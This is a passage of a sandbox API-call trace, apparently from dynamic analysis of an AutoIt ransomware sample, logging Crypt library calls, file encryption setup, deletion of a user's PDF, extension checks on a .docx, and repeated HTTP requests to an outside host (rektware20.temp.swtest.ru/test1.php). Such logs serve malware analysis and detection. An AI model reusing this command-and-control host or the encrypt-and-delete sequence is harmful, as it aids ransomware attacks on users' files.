wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.467] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.467] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.467] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.467] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.467] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.467] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.467] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.468] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.468] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.468] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.468] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.468] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.468] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.468] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.468] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.468] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.469] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.469] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0070.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.469] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.469] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.469] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.469] CloseHandle (hObject=0x3bc) returned 1 [0070.471] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.471] CloseHandle (hObject=0x2ac) returned 1 [0070.473] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.473] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.473] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", lpFilePart=0x0) returned 0x2e [0070.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\h2tfiviz9b.pdf")) returned 0x20 [0070.473] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0070.474] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\H2TfiViz9b.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\h2tfiviz9b.pdf")) returned 1 [0070.483] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.483] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0070.483] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.483] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.483] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.483] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.483] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.484] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.484] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.484] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.484] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.484] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.484] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.484] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0070.484] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.484] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.484] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.485] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.485] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.485] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.485] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.486] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.486] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.486] CloseHandle (hObject=0x0) returned 0 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kwTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wTP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TP Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Se51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="51gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gRCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RCO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CO0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Et_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.488] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.488] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.488] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.488] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.488] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.488] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.488] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.488] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.488] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0070.488] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.488] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.488] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.489] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.489] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.489] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.489] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.489] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.489] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.490] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.490] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.490] CloseHandle (hObject=0x0) returned 0 [0070.490] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.490] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\kwTP Se51gRCO0Et_.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0070.490] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.491] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.491] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.491] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.491] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.491] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.491] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.491] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.491] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.491] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.491] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.491] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.492] 